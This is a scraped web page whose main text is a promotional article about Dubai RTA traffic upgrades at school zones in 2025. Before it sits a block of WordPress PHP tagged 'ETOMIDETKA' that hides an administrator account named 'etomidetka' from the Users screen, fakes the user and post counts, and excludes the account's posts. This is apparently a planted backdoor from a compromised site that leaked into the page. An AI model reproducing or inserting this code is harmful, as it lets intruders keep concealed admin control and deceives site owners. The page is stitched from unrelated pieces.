//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Dubai RTA Enhances School Zone Traffic Flow- A Boon for Parents and Motorists
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Dubai RTA Enhances School Zone Traffic Flow- A Boon for Parents and Motorists

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Dubai RTA Enhances School Zone Traffic Flow

Dubai RTA Enhances School Zone Traffic Flow. If you frequently drop off or pick up your children from school in Dubai, you’ve likely noticed smoother traffic and less congestion near several educational institutions. These improvements are the result of Dubai Roads and Transport Authority (RTA) implementing significant road upgrades to enhance traffic flow in school zones.

In this article, we’ll delve into the transformative changes, the schools that have benefited, and how these enhancements are making life easier for parents, students, and motorists.

37 Schools in Dubai Benefited from Traffic Upgrades in 2025

Last year, the RTA completed extensive road enhancements across eight key educational zones, directly benefiting 37 schools. These upgrades were designed to tackle persistent traffic challenges during peak school hours, creating safer and more efficient commutes for parents and motorists.

Key Educational Zones Targeted

The traffic improvements focused on high-traffic school areas, ensuring that both access and safety were prioritized. The following schools and complexes saw notable upgrades:

  • Kings School Dubai on Umm Suqeim Street
  • The International School of Choueifat and Dubai College on Hessa Street
  • Al Safa Schools Complex
  • School of Research Science in Al Warqa 4
  • Al Qusais Schools Complex
  • Al Mizhar Schools Complex
  • Nad Al Sheba Schools Complex
  • Al Tawar Schools Complex 2

What New?

The RTA introduced a variety of enhancements aimed at easing traffic flow and ensuring safety in school zones. These include:

  • Wider Roads: Streets leading to schools were expanded to handle higher traffic volumes.
  • Additional Parking Spaces: Increased parking availability for staff and parents has alleviated parking issues.
  • Improved Entry and Exit Points: Safer and more organized school entrances and exits streamline traffic movement.
  • Designated Drop-Off Zones: Specially constructed areas facilitate faster and safer student drop-off and pick-up.
  • Traffic Diversions: Adjustments to nearby road layouts reduced congestion during peak hours.

Congestion Halved for Two Schools in 2025

The upgrades have already produced measurable results. Early 2025 data reveals that targeted improvements at Repton School Dubai in Nad Al Sheba and GEMS Al Khaleej International School in Al Warqa have cut traffic congestion by up to 50%.

What Changed?

  • Expanded Parking Capacity:
    • Repton School now offers 300 parking spaces, doubling its previous capacity.
    • GEMS Al Khaleej International School increased its parking by 125%, reaching 270 spaces.
  • Streamlined Access: Safer and more efficient entrances and exits to these parking lots have significantly improved traffic flow during drop-off and pick-up times.
  • Pedestrian Safety Features: New pedestrian pathways, crossings, and traffic-calming measures provide a safer environment for students and parents.

RTA Vision for Safer School Zones

With these upgrades, the RTA aims to reduce delays and traffic congestion during peak school hours by 35–50%. Key features such as directional signage, enhanced road markings, and adherence to technical safety standards have turned school zones into safer, more organized spaces.

These changes not only benefit parents and students but also improve the daily experience for all motorists navigating Dubai busy roads.

Conclusion

Dubai Roads and Transport Authority continues to prioritize community well-being by addressing traffic challenges in school zones. With upgraded infrastructure and a commitment to safety, these enhancements showcase Dubai dedication to creating a seamless and secure commuting experience for families and motorists alike.

 

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